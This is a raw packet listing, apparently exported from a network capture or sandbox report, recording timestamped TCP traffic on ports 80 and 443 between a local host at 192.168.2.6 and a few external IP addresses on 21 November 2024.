Nov 21, 2024 14:11:30.545428038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.545538902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.545583010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.546097040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.546238899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.546261072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.546885014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.546946049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.546998024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.547656059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.547692060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.547760010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.548455000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.548541069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.566051006 CET	80	49921	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:30.566122055 CET	49921	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:30.568294048 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:30.568861008 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:30.598864079 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:30.598965883 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:30.606048107 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:30.606057882 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:30.606266022 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:30.648791075 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:30.688395977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:30.688548088 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:30.688754082 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:30.688757896 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:30.697438002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.697550058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.697635889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.697782993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.697995901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.698602915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.698666096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.698707104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.698764086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.699387074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.701495886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.701643944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.701709032 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.701875925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.701961994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.702038050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.702162027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.702856064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.702938080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.702951908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.703211069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.703665972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.703716993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.703811884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.704504967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.704606056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.705239058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.705358982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.705360889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.705426931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.706059933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.706161976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.706404924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.706840038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.706953049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.707626104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.707703114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.707766056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.707860947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.708538055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.708647966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.709225893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.709355116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.709361076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.709425926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.710026979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.710170984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.710489035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.710846901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.711085081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.711523056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.711678028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.711864948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.711925030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.712402105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.712522030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.713222980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.713316917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.713361979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.713361979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.714006901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.714056969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.714114904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.714804888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.714927912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.715624094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.715763092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.715809107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.715809107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.716403008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.716548920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.717195988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.717308998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.717313051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.717359066 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.718000889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.718112946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.718235970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.718790054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.718892097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.719594955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.719645023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.719696045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.719743967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.720379114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.720494032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.721209049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.721308947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.721345901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.721345901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.721983910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.722098112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.722440004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.722784042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.722899914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.723567009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.723664999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.723681927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.723735094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.724400043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.724534035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.725177050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.725270033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.725284100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.725341082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.725977898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.726100922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.726151943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.726767063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.726900101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.727114916 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.727582932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.727765083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.727869987 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.728387117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.728483915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.729170084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.729242086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.729280949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.729332924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.729983091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.730091095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.730158091 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.730750084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.730849028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.731523037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.731578112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.731635094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.731688976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.732316017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.732335091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.733129978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.733206987 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.733325958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.733387947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.733926058 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.733948946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.734170914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.734273911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.734755993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.734889984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.735302925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.735542059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.735644102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.735693932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.736345053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.736356974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.736414909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.737113953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.737224102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.737463951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.737938881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.738029957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.738209963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.738702059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.738846064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.738897085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.739540100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.739567041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.739665985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.739851952 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.740293980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.740372896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.740556955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.742821932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.766947985 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:30.767013073 CET	49923	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:30.767050982 CET	443	49923	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:30.787879944 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:30.889539003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.889663935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.889748096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.889946938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.890053988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.890763044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.890844107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.890851974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.890924931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.891551971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.893871069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.893966913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.893970966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.894224882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.894330978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.894371033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.895009995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.895137072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.895375967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.895845890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.895961046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.896217108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.896620989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.896775961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.896797895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.897433043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.897551060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.897850990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.898228884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.898364067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.898367882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.898989916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.899077892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.899123907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.899807930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.899910927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.899916887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.900672913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.900763035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.900985956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.901432037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.901607990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.901633024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.902235985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.902355909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.902431965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.902986050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.903073072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.903080940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.903776884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.903827906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.903902054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.904612064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.904665947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.904736996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.905396938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.905489922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.905633926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.906210899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.906284094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.906310081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.906992912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.907104015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.907157898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.907365084 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:30.907879114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.908014059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.908060074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.908576012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.908637047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.908695936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.909377098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.909471989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.909514904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.910187006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.910232067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.910253048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.911014080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.911195993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.911237955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.911775112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.911817074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.911876917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.912573099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.912622929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.912677050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.913367033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.913511038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.913553953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.914225101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.914268017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.914350033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.914944887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.915074110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.915116072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.915750027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.915791988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.915879011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.916543007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.916589022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.916654110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.917359114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.917478085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.917520046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.918188095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.918231010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.918292046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.918997049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.919125080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.919178009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.919734955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.919785976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.919846058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.920550108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.920602083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.920773029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.921422005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.921528101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.921576977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.922137976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.922185898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.922269106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.922990084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.923111916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.923219919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.923954964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.924076080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.924127102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.924575090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.924624920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.924709082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.925462961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.925584078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.925632954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.926249981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.926299095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.926408052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.926980019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.927071095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.927117109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:30.927972078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.928009033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:30.928057909 CET	49903	80	192.168.2.6	34.116.198.130
